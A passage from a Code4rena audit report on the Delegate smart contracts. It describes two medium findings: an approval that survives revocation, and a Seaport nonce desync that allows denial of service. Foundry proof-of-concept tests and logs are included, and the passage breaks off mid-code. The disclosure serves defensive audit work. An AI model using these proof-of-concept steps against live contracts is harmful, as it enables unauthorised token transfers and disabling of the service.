Delegate
Findings & Analysis Report
2023-11-15
Table of contents
- Summary
- Scope
- Severity Criteria
-
Low Risk and Non-Critical Issues
- 01
previewOrder
should not revert - 02 Withdraw should revert with non-supported
delegationType
- 03 Lack of
data
on flashloan could make some ERC1155 unusable - 04 Using
delegatecall
inside a loop may cause issues withpayable
functions - 05
CreateOfferer
uses a custom context implementation instead of an existing SIP
- 01
-
- G-01 Structs can be packed into fewer storage slots
- G-02 Remove or replace unused state variables
- G-03 State variables should be cached
- G-04 Use assembly for loops to save gas
- G-05 Don’t initialize default values to variables to reduce gas
- G-06 Use constants instead of type(uintX).max to avoid calculating every time
- G-07 For same condition checks use modifiers
- G-08 Declare the variables outside the loop
- Audit Analysis
- Disclosures
Overview
About C4
Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.
A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.
During the audit outlined in this document, C4 conducted an analysis of the Delegate smart contract system written in Solidity. The audit took place between September 5—September 11 2023.
Wardens
17 Wardens contributed reports to the Delegate:
- ladboy233
- d4r3d3v1l
- DadeKuma
- pfapostol
- Sathish9098
- Baki (Viraz and supernova)
- p0wd3r
- m4ttm
- Banditx0x
- gkrastenov
- Fulum
- sces60107
- Brenzee
- kodyvim
- lsaudit
- lodelux
This audit was judged by Alex the Entreprenerd.
Final report assembled by liveactionllama.
Summary
The C4 analysis yielded an aggregated total of 2 unique vulnerabilities. Of these vulnerabilities, 0 received a risk rating in the category of HIGH severity and 2 received a risk rating in the category of MEDIUM severity.
Additionally, C4 analysis included 10 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 2 reports recommending gas optimizations.
All of the issues presented here are linked back to their original finding.
Scope
The code under review can be found within the C4 Delegate repository, and is composed of 12 smart contracts written in the Solidity programming language and includes 1,824 lines of Solidity code.
In addition to the known issues identified by the project team, a Code4rena bot race was conducted at the start of the audit. The winning bot, Hound from warden DadeKuma, generated the Automated Findings report and all findings therein were classified as out of scope.
Severity Criteria
C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.
High-level considerations for vulnerabilities span the following key areas when conducting assessments:
- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use
For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.
Medium Risk Findings (2)
[M-01] No way to revoke Approval in DelegateToken.approve
leads to unauthorized calling of DelegateToken.transferFrom
Submitted by d4r3d3v1l
https://github.com/code-423n4/2023-09-delegate/blob/main/src/DelegateToken.sol#L134
https://github.com/code-423n4/2023-09-delegate/blob/main/src/DelegateToken.sol#L168
https://github.com/code-423n4/2023-09-delegate/blob/main/src/libraries/DelegateTokenStorageHelpers.sol#L149
There is no way to revoke the approval which given via DelegateToken.approve(address,delegateTokenId)
. They can able call the DelegateToken.transferFrom
even the tokenHolder revoke the permission using the DelegateToken.setApprovalForAll
.
If the spender address is approved by the PT token, we can call the DelegateToken.withdraw
.
Proof of Concept
Alice is the token Holder.
Alice approves Bob via DelegateToken.setApprovalForAll(Bob,true)
.
Bob approves himself using DelegateToken.approve(Bob,delegateTokenId)
Alice revokes the Bob approval by calling DelegateToken.setApprovalForAll(Bob,false);
Now Bob can still calls the DelegateToken.transferFrom(Alice,to,delegateTokenId)
which is subjected to call only by approved address.
The transfer will be successful.
Code details
function revertNotApprovedOrOperator(
mapping(address account => mapping(address operator => bool enabled)) storage accountOperator,
mapping(uint256 delegateTokenId => uint256[3] info) storage delegateTokenInfo,
address account,
uint256 delegateTokenId
) internal view {
if (msg.sender == account || accountOperator[account][msg.sender] || msg.sender == readApproved(delegateTokenInfo, delegateTokenId)) return;
revert Errors.NotApproved(msg.sender, delegateTokenId);
}
Even after revoking the approval for operator using setApprovalAll
this msg.sender == readApproved(delegateTokenInfo, delegateTokenId)
will be true and able to call transferFrom
function.
Test function
function testFuzzingTransfer721(
address from,
address to,
uint256 underlyingTokenId,
bool expiryTypeRelative,
uint256 time
) public {
vm.assume(from != address(0));
vm.assume(from != address(dt));
(
,
/* ExpiryType */
uint256 expiry, /* ExpiryValue */
) = prepareValidExpiry(expiryTypeRelative, time);
mockERC721.mint(address(from), 33);
vm.startPrank(from);
mockERC721.setApprovalForAll(address(dt), true);
vm.stopPrank();
vm.prank(from);
dt.setApprovalForAll(address(dt), true);
vm.prank(from);
uint256 delegateId1 = dt.create(
DelegateTokenStructs.DelegateInfo(
from,
IDelegateRegistry.DelegationType.ERC721,
from,
0,
address(mockERC721),
33,
"",
expiry
),
SALT + 1
);
vm.prank(address(dt));
dt.approve(address(dt), delegateId1);
vm.prank(from);
dt.setApprovalForAll(address(dt), false);
address tmp = dt.getApproved(delegateId1);
console.log(tmp);
vm.prank(address(dt));
dt.transferFrom(from, address(0x320), delegateId1);
}
Recommended Mitigation Steps
If token Holder revokes the approval for a operator using DelegateToken.setApprovalForAll
, revoke the all the approvals(DelegateToken.approve) which is done by the operator.
Assessed type
Access Control
0xfoobar (Delegate) confirmed and commented:
Need to double-check, but looks plausible.
Alex the Entreprenerd (judge) commented:
In contrast to ERC721, which only allows the owner to change
approve
ERC721.sol#L448-L454
DT.approve
allows the operator to set themselves as approved, which can technically be undone via a multicall but may not be performed under normal usage.
Alex the Entreprenerd (judge) decreased severity to Medium and commented:
Leaning towards Medium Severity as the finding requires:
- Alice
approvesForAll
Bob- Bob approves self
- Alice revokes Bobs
approvalForAll
- Alice doesn’t revoke the
_approve
that Bob gave to selfNotice that any transfer would reset the approval as well.
0xfoobar (Delegate) commented:
A note about how ERC721 works: there are two different types of approvals.
approve()
lets an account move a single tokenId, whilesetApprovalForAll()
marks an address as an operator to move all tokenIds. We can note the difference in the core OpenZeppelin ERC721 base contract, two separate mappings: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol#L32-L34So plausible that an operator could be permitted to add new tokenid-specific approvals, but see your point that OZ ERC721 doesn’t allow this by default and so could lead to confusing states that are possible but not fun to get out of.
[M-02] CreateOfferer.sol
should not enforce the nonce incremented sequentially, otherwise user can DOS the contract by skipping order
Submitted by ladboy233
According to https://github.com/ProjectOpenSea/seaport/blob/main/docs/SeaportDocumentation.md#contract-orders:
“Seaport v1.2 introduced support for a new type of order: the contract order. In brief, a smart contract that implements the ContractOffererInterface (referred to as an “Seaport app contract” or ‘Seaport app’ in the docs and a ‘contract offerer’ in the code) can now provide a dynamically generated order (a contract order) in response to a buyer or seller’s contract order request.”
The CreateOfferer.sol aims to be comply with the interface ContractOffererInterface.
The life cycle of the contract life cycle here is here:
First the function _getGeneratedOrder
is called.
Then after the order execution, the function ratifyOrder is triggered for contract (CreateOfferer.sol) to do post order validation.
In the logic of ratifyOrder, the nonce is incremented by calling this line of code Helpers.processNonce
.
function ratifyOrder(SpentItem[] calldata offer, ReceivedItem[] calldata consideration, bytes calldata context, bytes32[] calldata, uint256 contractNonce)
external
checkStage(Enums.Stage.ratify, Enums.Stage.generate)
onlySeaport(msg.sender)
returns (bytes4)
{
Helpers.processNonce(nonce, contractNonce);
Helpers.verifyCreate(delegateToken, offer[0].identifier, transientState.receivers, consideration[0], context);
return this.ratifyOrder.selector;
}
This is calling this line of code.
function processNonce(CreateOffererStructs.Nonce storage nonce, uint256 contractNonce) internal {
if (nonce.value != contractNonce) revert CreateOffererErrors.InvalidContractNonce(nonce.value, contractNonce);
unchecked {
++nonce.value;
} // Infeasible this will overflow if starting point is zero
}
The CreateOffererStructs.Nonce data structure is just nonce.
library CreateOffererStructs {
/// @notice Used to track the stage and lock status
struct Stage {
CreateOffererEnums.Stage flag;
CreateOffererEnums.Lock lock;
}
/// @notice Used to keep track of the seaport contract nonce of CreateOfferer
struct Nonce {
uint256 value;
}
But this is not how Seaport contract track contract nonce.
On Seaport contract, we are calling _getGeneratedOrder.
Which calls _callGenerateOrder.
{
// Do a low-level call to get success status and any return data.
(bool success, bytes memory returnData) = _callGenerateOrder(
orderParameters,
context,
originalOfferItems,
originalConsiderationItems
);
{
// Increment contract nonce and use it to derive order hash.
// Note: nonce will be incremented even for skipped orders, and
// even if generateOrder's return data doesn't meet constraints.
uint256 contractNonce = (
_contractNonces[orderParameters.offerer]++
);
// Derive order hash from contract nonce and offerer address.
orderHash = bytes32(
contractNonce ^
(uint256(uint160(orderParameters.offerer)) << 96)
);
}
As we can see:
// Increment contract nonce and use it to derive order hash.
// Note: nonce will be incremented even for skipped orders, and
// even if generateOrder's return data doesn't meet constraints.
uint256 contractNonce = (
_contractNonces[orderParameters.offerer]++
);
Nonce will be incremented even for skipped orders.
This is very important, suppose the low level call _callGenerateOrder return false, we are hitting the else block.
return _revertOrReturnEmpty(revertOnInvalid, orderHash);
This is calling _revertOrReturnEmpty
.
function _revertOrReturnEmpty(
bool revertOnInvalid,
bytes32 contractOrderHash
)
internal
pure
returns (
bytes32 orderHash,
uint256 numerator,
uint256 denominator,
OrderToExecute memory emptyOrder
)
{
// If invalid input should not revert...
if (!revertOnInvalid) {
// Return the contract order hash and zero values for the numerator
// and denominator.
return (contractOrderHash, 0, 0, emptyOrder);
}
// Otherwise, revert.
revert InvalidContractOrder(contractOrderHash);
}
Clearly we can see that if the flag revertOnInvalid is set to false, then even the low level call return false, the nonce of the offerer is still incremented.
Where in the Seaport code does it set revertOnInvalid to false?
When the Seaport wants to combine multiple orders in this line of code.
function _fulfillAvailableAdvancedOrders(
AdvancedOrder[] memory advancedOrders,
CriteriaResolver[] memory criteriaResolvers,
FulfillmentComponent[][] memory offerFulfillments,
FulfillmentComponent[][] memory considerationFulfillments,
bytes32 fulfillerConduitKey,
address recipient,
uint256 maximumFulfilled
) internal returns (bool[] memory, /* availableOrders */ Execution[] memory /* executions */ ) {
// Validate orders, apply amounts, & determine if they use conduits.
(bytes32[] memory orderHashes, bool containsNonOpen) = _validateOrdersAndPrepareToFulfill(
advancedOrders,
criteriaResolvers,
false, // Signifies that invalid orders should NOT revert.
maximumFulfilled,
recipient
);
We call _validateOrderAndUpdateStatus
.
// Validate it, update status, and determine fraction to fill.
(bytes32 orderHash, uint256 numerator, uint256 denominator) =
_validateOrderAndUpdateStatus(advancedOrder, revertOnInvalid);
Finally we call the logic _getGeneratedOrder(orderParameters, advancedOrder.extraData, revertOnInvalid) below with parameter revertOnInvalid false.
// If the order is a contract order, return the generated order.
if (orderParameters.orderType == OrderType.CONTRACT) {
// Ensure that the numerator and denominator are both equal to 1.
assembly {
// (1 ^ nd =/= 0) => (nd =/= 1) => (n =/= 1) || (d =/= 1)
// It's important that the values are 120-bit masked before
// multiplication is applied. Otherwise, the last implication
// above is not correct (mod 2^256).
invalidFraction := xor(mul(numerator, denominator), 1)
}
// Revert if the supplied numerator and denominator are not valid.
if (invalidFraction) {
_revertBadFraction();
}
// Return the generated order based on the order params and the
// provided extra data. If revertOnInvalid is true, the function
// will revert if the input is invalid.
return _getGeneratedOrder(orderParameters, advancedOrder.extraData, revertOnInvalid);
}
Ok what does this mean?
Suppose the CreateOfferer.sol fulfills two orders and creates two delegate tokens.
The nonces start from 0 and then increment to 1 and then increment to 2.
A user crafts a contract with malformed minimumReceived and combines with another valid order to call OrderCombine.
As we can see above, when multiple order is passed in, the revertOnInvalid is set to false, so the contract order from CreateOfferer.sol is skipped, but the nonce is incremented.
Then the nonce tracked by CreateOfferer.sol internally is out of sync with the contract nonce in seaport contract forever.
Then the CreateOfferer.sol is not usable because if the ratifyOrder callback hit the contract, transaction revert in this check.
if (nonce.value != contractNonce) revert CreateOffererErrors.InvalidContractNonce(nonce.value, contractNonce);
Recommended Mitigation Steps
I would recommend do not validate the order execution in the ratifyOrder call back by using the contract nonce, instead, validate the order using orderHash.
if (
ContractOffererInterface(offerer).ratifyOrder(
orderToExecute.spentItems,
orderToExecute.receivedItems,
advancedOrder.extraData,
orderHashes,
uint256(orderHash) ^ (uint256(uint160(offerer)) << 96)
) != ContractOffererInterface.ratifyOrder.selector
)
Assessed type
DoS
0xfoobar (Delegate) confirmed and commented:
Need to double-check but looks plausible.
Alex the Entreprenerd (judge) commented:
_callGenerateOrder
is caught, and in case of multiple order will be incrementing nonce without reverting.ReferenceOrderValidator.sol#L286-L302
function _callGenerateOrder( OrderParameters memory orderParameters, bytes memory context, SpentItem[] memory originalOfferItems, SpentItem[] memory originalConsiderationItems ) internal returns (bool success, bytes memory returnData) { return orderParameters.offerer.call( abi.encodeWithSelector( ContractOffererInterface.generateOrder.selector, msg.sender, originalOfferItems, originalConsiderationItems, context ) ); }
The call to
generateOrder
will revert atprocessSpentItems
.CreateOffererLib.sol#L351-L352
if (!(minimumReceived.length == 1 && maximumSpent.length == 1)) revert CreateOffererErrors.NoBatchWrapping();
This will cause the nonce to be increased in Seaport but not on the
CreateOfferer
.
Alex the Entreprenerd (judge) commented:
Have asked the Warden for a Coded POC.
Have reached out to Seaport Devs to ask for advice as to whether the issue is valid.
Alex the Entreprenerd (judge) commented:
Coded POC from the warden.
0xfoobar (Delegate) disagreed with severity and commented:
Believe issue is valid, would love confirmation from Seaport devs if you have it. Believe this should be a quality Medium not High because CreateOfferer is tangential to the core protocol, would not cause any loss of user funds if abused, and could be easily replaced if DoS-ed. Appreciate the detailed work to dive into the workings of Seaport nonces.
Alex the Entreprenerd (judge) decreased severity to Medium and commented:
Agree with impact from Sponsor. Temporarly marking as valid; however, we will not confirm until runnable POC is produced.
Agree with sponsor’s severity assessment!
Fully runnable POC to show the nonce is out of sync.
The Contract offerer internal nonce is tracked in this line of code.
While the contract offerer nonce on Seaport side can be acquired by calling:
seaport.getContractOffererNonce(address(contractOfferer1));
And indeed if we use
fulfillAvailableAdvancedOrder
to fulfill only one contract order and revert in other order, nonce is still incremented.uint256 seaport_contrat_offer_1_nonce = seaport.getContractOffererNonce(address(contractOfferer1)); console2.log(seaport_contrat_offer_1_nonce); // the nonce of contract offerer on seaport is 1 is 1!! uint256 oldNonce = contractOfferer1.nonce(); // the none of contract offerer 1 is 0! console2.log(oldNonce);
A more detailed explanation is here.
Alex the Entreprenerd (judge) commented:
Logs
Logs: mockERC721.ownerOf(1) 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496 mockERC721.ownerOf(2) 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496 setRevert true mockERC721.ownerOf(1) 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496 mockERC721.ownerOf(2) 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496 generateOrder reverting generateOrder Sent ETH to SEAPORT true fulfilled true 1 0 mockERC721.ownerOf(1) 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496 mockERC721.ownerOf(2) 0xa0Cb889707d426A7A386870A03bc70d1b0697598
As shown by the logs, the Token 1 is not transfered, but the nonce is consumed.
POC
// SPDX-License-Identifier: CC0-1.0 pragma solidity ^0.8.21; import {Test} from "forge-std/Test.sol"; import {BaseSeaportTest} from "./base/BaseSeaportTest.t.sol"; import {BaseLiquidDelegateTest} from "./base/BaseLiquidDelegateTest.t.sol"; import {SeaportHelpers, User} from "./utils/SeaportHelpers.t.sol"; import {IDelegateToken, Structs as IDelegateTokenStructs} from "src/interfaces/IDelegateToken.sol"; import {IDelegateRegistry} from "delegate-registry/src/IDelegateRegistry.sol"; import {AdvancedOrder, OrderParameters, Fulfillment, CriteriaResolver, OfferItem, ConsiderationItem, FulfillmentComponent} from "seaport/contracts/lib/ConsiderationStructs.sol"; import {ItemType, OrderType} from "seaport/contracts/lib/ConsiderationEnums.sol"; import {SpentItem} from "seaport/contracts/interfaces/ContractOffererInterface.sol"; import {CreateOfferer, Enums as OffererEnums, Structs as OffererStructs} from "src/CreateOfferer.sol"; import {MockERC721} from "./mock/MockTokens.t.sol"; import {WETH} from "./mock/WETH.t.sol"; import {console2} from "forge-std/console2.sol"; import {IERC721} from "openzeppelin/token/ERC721/IERC721.sol"; import {IERC1155} from "openzeppelin/token/ERC1155/IERC1155.sol"; import {ItemType} from "seaport/contracts/lib/ConsiderationEnums.sol"; import {ContractOffererInterface, SpentItem, ReceivedItem, Schema} from "seaport/contracts/interfaces/ContractOffererInterface.sol"; interface ISeaport { function getContractOffererNonce(address contractOfferer) external view returns (uint256 nonce); } abstract contract ERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view returns (bool) { return interfaceId == bytes4(keccak256("supportsInterface(bytes4)")); } } /** * @title TestContractOffererNativeToken */ contract TestContractOffererNativeToken is ContractOffererInterface, ERC165 { error OrderUnavailable(); address private immutable _SEAPORT; SpentItem private _available; SpentItem private _required; bool public ready; bool public fulfilled; uint256 public extraAvailable; uint256 public extraRequired; bool reverting = false; uint256 public nonce = 0; address public otherContract; string public name; event ShowName(string name); event NumberUpdated(uint256 number); constructor(address seaport, string memory _name) { // Set immutable values and storage variables. _SEAPORT = seaport; fulfilled = false; ready = false; extraAvailable = 0; extraRequired = 0; name = _name; } function setRevert(bool state) public { console2.log("setRevert", state); reverting = state; } receive() external payable {} function activate(SpentItem memory available, SpentItem memory required) public payable { if (ready || fulfilled) { revert OrderUnavailable(); } // Set storage variables. _available = available; _required = required; ready = true; } /// In case of criteria based orders and non-wildcard items, the member /// `available.identifier` would correspond to the `identifierOrCriteria` /// i.e., the merkle-root. /// @param identifier corresponds to the actual token-id that gets transferred. function activateWithCriteria(SpentItem memory available, SpentItem memory required, uint256 identifier) public { if (ready || fulfilled) { revert OrderUnavailable(); } if (available.itemType == ItemType.ERC721_WITH_CRITERIA) { IERC721 token = IERC721(available.token); token.transferFrom(msg.sender, address(this), identifier); token.setApprovalForAll(_SEAPORT, true); } else if (available.itemType == ItemType.ERC1155_WITH_CRITERIA) { IERC1155 token = IERC1155(available.token); token.safeTransferFrom(msg.sender, address(this), identifier, available.amount, ""); token.setApprovalForAll(_SEAPORT, true); } // Set storage variables. _available = available; _required = required; ready = true; } function extendAvailable() public { if (!ready || fulfilled) { revert OrderUnavailable(); } extraAvailable++; _available.amount /= 2; } function extendRequired() public { if (!ready || fulfilled) { revert OrderUnavailable(); } extraRequired++; } function generateOrder(address, SpentItem[] calldata minimumReceived, SpentItem[] calldata maximumSpent, bytes calldata /* context */ ) external returns (SpentItem[] memory offer, ReceivedItem[] memory consideration) { console2.log("generateOrder"); emit ShowName(name); // Set the offer and consideration that were supplied during deployment. if (reverting) { console2.log("reverting"); revert("revert here"); } if (otherContract != address(0)) { uint256 result = ISeaport(_SEAPORT).getContractOffererNonce(otherContract); console2.log("result", result); emit NumberUpdated(result); uint256 oldNonce = TestContractOffererNativeToken(payable(otherContract)).nonce(); emit NumberUpdated(oldNonce); } offer = new SpentItem[](1); consideration = new ReceivedItem[](1); // Send eth to Seaport. (bool success,) = _SEAPORT.call{value: minimumReceived[0].amount}(""); console2.log("Sent ETH to SEAPORT", success); // revert("error"); // Revert if transaction fails. if (!success) { assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } // Set the offer item as the _available item in storage. offer[0] = minimumReceived[0]; // Set the erc721 consideration item. consideration[0] = ReceivedItem({ itemType: ItemType.ERC721, token: maximumSpent[0].token, identifier: maximumSpent[0].identifier, amount: maximumSpent[0].amount, recipient: payable(address(this)) }); // Update storage to reflect that the order has been fulfilled. fulfilled = true; console2.log("fulfilled", fulfilled); } function previewOrder(address caller, address, SpentItem[] calldata, SpentItem[] calldata, bytes calldata context) external view returns (SpentItem[] memory offer, ReceivedItem[] memory consideration) { // Ensure the caller is Seaport & the order has not yet been fulfilled. if (!ready || fulfilled || caller != _SEAPORT || context.length != 0) { revert OrderUnavailable(); } // Set the offer and consideration that were supplied during deployment. offer = new SpentItem[](1 + extraAvailable); consideration = new ReceivedItem[](1 + extraRequired); for (uint256 i = 0; i < 1 + extraAvailable; ++i) { offer[i] = _available; } for (uint256 i = 0; i < 1 + extraRequired; ++i) { consideration[i] = ReceivedItem({itemType: _required.itemType, token: _required.token, identifier: _required.identifier, amount: _required.amount, recipient: payable(address(this))}); } } function getInventory() external view returns (SpentItem[] memory offerable, SpentItem[] memory receivable) { // Set offerable and receivable supplied at deployment if unfulfilled. if (!ready || fulfilled) { offerable = new SpentItem[](0); receivable = new SpentItem[](0); } else { offerable = new SpentItem[](1 + extraAvailable); for (uint256 i = 0; i < 1 + extraAvailable; ++i) { offerable[i] = _available; } receivable = new SpentItem[](1 + extraRequired); for (uint256 i = 0; i < 1 + extraRequired; ++i) { receivable[i] = _required; } } } function ratifyOrder( SpentItem[] calldata, /* offer */ ReceivedItem[] calldata, /* consideration */ bytes calldata, /* context */ bytes32[] calldata, /* orderHashes */ uint256 /* contractNonce */ ) external pure returns (bytes4 /* ratifyOrderMagicValue */ ) { return ContractOffererInterface.ratifyOrder.selector; } function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure returns (bytes4) { return bytes4(0xf23a6e61); } // function supportsInterface( // bytes4 interfaceId // ) // public // view // virtual // override(ERC165, ContractOffererInterface) // returns (bool) // { // return // interfaceId == type(ContractOffererInterface).interfaceId || // super.supportsInterface(interfaceId); // } /** * @dev Returns the metadata for this contract offerer. */ function getSeaportMetadata() external pure override returns ( string memory name, Schema[] memory schemas // map to Seaport Improvement Proposal IDs ) { schemas = new Schema[](1); schemas[0].id = 1337; schemas[0].metadata = new bytes(0); return ("TestContractOffererNativeToken", schemas); } } contract CreateOffererTest is Test, BaseSeaportTest, BaseLiquidDelegateTest, SeaportHelpers { CreateOfferer createOfferer; WETH weth; uint256 startGas; User buyer; User seller; OfferItem offerItem; ConsiderationItem considerationItem; OfferItem[] offerItems; ConsiderationItem[] considerationItems; SpentItem[] minimumReceived; SpentItem[] maximumSpent; function setUp() public { OffererStructs.Parameters memory createOffererParameters = OffererStructs.Parameters({seaport: address(seaport), delegateToken: address(dt), principalToken: address(principal)}); createOfferer = new CreateOfferer(createOffererParameters); weth = new WETH(); // Setup buyer and seller seller = makeUser("seller"); vm.label(seller.addr, "seller"); buyer = makeUser("buyer"); vm.label(buyer.addr, "buyer"); } function addOfferItem(OfferItem memory _offerItem) internal { offerItems.push(_offerItem); } ///@dev reset the offer items array function resetOfferItems() internal { delete offerItems; } ///@dev Construct and an offer item to the offer items array function addOfferItem(ItemType itemType, address token, uint256 identifier, uint256 startAmount, uint256 endAmount) internal { offerItem.itemType = itemType; offerItem.token = token; offerItem.identifierOrCriteria = identifier; offerItem.startAmount = startAmount; offerItem.endAmount = endAmount; addOfferItem(offerItem); delete offerItem; } function addOfferItem(ItemType itemType, address token, uint256 identifier, uint256 amount) internal { addOfferItem({itemType: itemType, token: token, identifier: identifier, startAmount: amount, endAmount: amount}); } function addOfferItem(ItemType itemType, uint256 identifier, uint256 startAmount, uint256 endAmount) internal { if (itemType == ItemType.NATIVE) { addEthOfferItem(startAmount, endAmount); } else if (itemType == ItemType.ERC20) { addErc20OfferItem(startAmount, endAmount); } else if (itemType == ItemType.ERC1155) { addErc1155OfferItem(identifier, startAmount, endAmount); } else { addErc721OfferItem(identifier); } } function addOfferItem(ItemType itemType, uint256 identifier, uint256 amt) internal { addOfferItem(itemType, identifier, amt, amt); } function addErc721OfferItem(uint256 identifier) internal { addErc721OfferItem(address(mockERC721), identifier); } function addErc721OfferItem(address token, uint256 identifier) internal { addErc721OfferItem(token, identifier, 1, 1); } function addErc721OfferItem(address token, uint256 identifier, uint256 amount) internal { addErc721OfferItem(token, identifier, amount, amount); } function addErc721OfferItem(address token, uint256 identifier, uint256 startAmount, uint256 endAmount) internal { addOfferItem(ItemType.ERC721, token, identifier, startAmount, endAmount); } function addErc1155OfferItem(uint256 tokenId, uint256 amount) internal { addOfferItem(ItemType.ERC1155, address(mockERC1155), tokenId, amount, amount); } function addErc20OfferItem(uint256 startAmount, uint256 endAmount) internal { addOfferItem(ItemType.ERC20, address(mockERC20), 0, startAmount, endAmount); } function addErc20OfferItem(uint256 amount) internal { addErc20OfferItem(amount, amount); } function addErc1155OfferItem(uint256 tokenId, uint256 startAmount, uint256 endAmount) internal { addOfferItem(ItemType.ERC1155, address(mockERC1155), tokenId, startAmount, endAmount); } function addEthOfferItem(uint256 startAmount, uint256 endAmount) internal { addOfferItem(ItemType.NATIVE, address(0), 0, startAmount, endAmount); } function addEthOfferItem(uint256 paymentAmount) internal { addEthOfferItem(paymentAmount, paymentAmount); } ///@dev add a considerationItem to the considerationItems array function addConsiderationItem(ConsiderationItem memory _considerationItem) internal { considerationItems.push(_considerationItem); } ///@dev reset the considerationItems array function resetConsiderationItems() internal { delete considerationItems; } ///@dev construct a considerationItem and add it to the considerationItems array function addConsiderationItem(address payable recipient, ItemType itemType, address token, uint256 identifier, uint256 startAmount, uint256 endAmount) internal { considerationItem.itemType = itemType; considerationItem.token = token; considerationItem.identifierOrCriteria = identifier; considerationItem.startAmount = startAmount; considerationItem.endAmount = endAmount; considerationItem.recipient = recipient; addConsiderationItem(considerationItem); delete considerationItem; } function addConsiderationItem(address payable recipient, ItemType itemType, uint256 identifier, uint256 amt) internal { if (itemType == ItemType.NATIVE) { addEthConsiderationItem(recipient, amt); } else if (itemType == ItemType.ERC20) { addErc20ConsiderationItem(recipient, amt); } else if (itemType == ItemType.ERC1155) { addErc1155ConsiderationItem(recipient, identifier, amt); } else { addErc721ConsiderationItem(recipient, identifier); } } function addEthConsiderationItem(address payable recipient, uint256 paymentAmount) internal { addConsiderationItem(recipient, ItemType.NATIVE, address(0), 0, paymentAmount, paymentAmount); } function addEthConsiderationItem(address payable recipient, uint256 startAmount, uint256 endAmount) internal { addConsiderationItem(recipient, ItemType.NATIVE, address(0), 0, startAmount, endAmount); } function addErc20ConsiderationItem(address payable receiver, uint256 startAmount, uint256 endAmount) internal { addConsiderationItem(receiver, ItemType.ERC20, address(mockERC20), 0, startAmount, endAmount); } function addErc20ConsiderationItem(address payable receiver, uint256 paymentAmount) internal { addErc20ConsiderationItem(receiver, paymentAmount, paymentAmount); } function addErc721ConsiderationItem(address payable recipient, uint256 tokenId) internal { addConsiderationItem(recipient, ItemType.ERC721, address(mockERC721), tokenId, 1, 1); } function addErc1155ConsiderationItem(address payable recipient, uint256 tokenId, uint256 amount) internal { addConsiderationItem(recipient, ItemType.ERC1155, address(mockERC1155), tokenId, amount, amount); } receive() external payable {} /// @dev Example of setting up one order function test_single_POC() public { TestContractOffererNativeToken contractOfferer1 = new TestContractOffererNativeToken( address(seaport), "contractOffer1" ); vm.deal(address(contractOfferer1), 100 ether); mockERC721.setApprovalForAll(address(contractOfferer1), true); mockERC721.setApprovalForAll(address(seaport), true); mockERC721.mint(address(this), 1); addEthOfferItem(1 ether); addErc721ConsiderationItem(payable(address(contractOfferer1)), 1); OrderParameters memory orderParameters1 = OrderParameters( address(contractOfferer1), address(0), offerItems, considerationItems, OrderType.CONTRACT, block.timestamp, block.timestamp + 1000, bytes32(0), 0, bytes32(0), considerationItems.length ); AdvancedOrder memory advancedOrder1 = AdvancedOrder(orderParameters1, 1, 1, "", ""); FulfillmentComponent[][] memory offerFulfillments = new FulfillmentComponent[][](1); offerFulfillments[0] = new FulfillmentComponent[](1); offerFulfillments[0][0] = FulfillmentComponent(0, 0); // Create considerationFulfillments 2D array similarly FulfillmentComponent[][] memory considerationFulfillments = new FulfillmentComponent[][](1); considerationFulfillments[0] = new FulfillmentComponent[](1); considerationFulfillments[0][0] = FulfillmentComponent(0, 0); // contractOfferer1.setRevert(true); AdvancedOrder[] memory orders = new AdvancedOrder[](1); orders[0] = advancedOrder1; seaport.fulfillAvailableAdvancedOrders(orders, new CriteriaResolver[](0), offerFulfillments, considerationFulfillments, bytes32(0), address(this), 100); } function test_POC() public { TestContractOffererNativeToken contractOfferer1 = new TestContractOffererNativeToken( address(seaport), "contractOffer1" ); vm.deal(address(contractOfferer1), 100 ether); mockERC721.setApprovalForAll(address(contractOfferer1), true); mockERC721.setApprovalForAll(address(seaport), true); mockERC721.mint(address(this), 1); console2.log("mockERC721.ownerOf(1)", mockERC721.ownerOf(1)); addEthOfferItem(1 ether); addErc721ConsiderationItem(payable(address(contractOfferer1)), 1); OrderParameters memory orderParameters1 = OrderParameters( address(contractOfferer1), address(0), offerItems, considerationItems, OrderType.CONTRACT, block.timestamp, block.timestamp + 1000, bytes32(0), 0, bytes32(0), considerationItems.length ); AdvancedOrder memory advancedOrder1 = AdvancedOrder(orderParameters1, 1, 1, "", ""); resetOfferItems(); resetConsiderationItems(); TestContractOffererNativeToken contractOfferer2 = new TestContractOffererNativeToken( address(seaport), "contractOffer2" ); vm.deal(address(contractOfferer2), 100 ether); mockERC721.setApprovalForAll(address(contractOfferer2), true); mockERC721.setApprovalForAll(address(seaport), true); mockERC721.mint(address(this), 2); addEthOfferItem(1 ether); addErc721ConsiderationItem(payable(address(contractOfferer2)), 2); console2.log("mockERC721.ownerOf(2)", mockERC721.ownerOf(2)); contractOfferer1.setRevert(true); OrderParameters memory orderParameters2 = OrderParameters( address(contractOfferer2), address(0), offerItems, considerationItems, OrderType.CONTRACT, block.timestamp, block.timestamp + 1000, bytes32(0), 0, bytes32(0), considerationItems.length ); AdvancedOrder memory advancedOrder2 = AdvancedOrder(orderParameters2, 1, 1, "", ""); // FulfillmentComponent[][] memory offerFulfillments = new FulfillmentComponent[][](2); // offerFulfillments[0] = new FulfillmentComponent[](2); // offerFulfillments[0][0] = FulfillmentComponent(1, 0); // offerFulfillments[0][1] = FulfillmentComponent(1, 1); // // Create considerationFulfillments 2D array similarly // FulfillmentComponent[][] memory considerationFulfillments = new FulfillmentComponent[][](2); // considerationFulfillments[0] = new FulfillmentComponent[](2); // considerationFulfillments[0][0] = FulfillmentComponent(1, 0); // considerationFulfillments[0][1] = FulfillmentComponent(1, 1); FulfillmentComponent[][] memory offerFulfillments = new 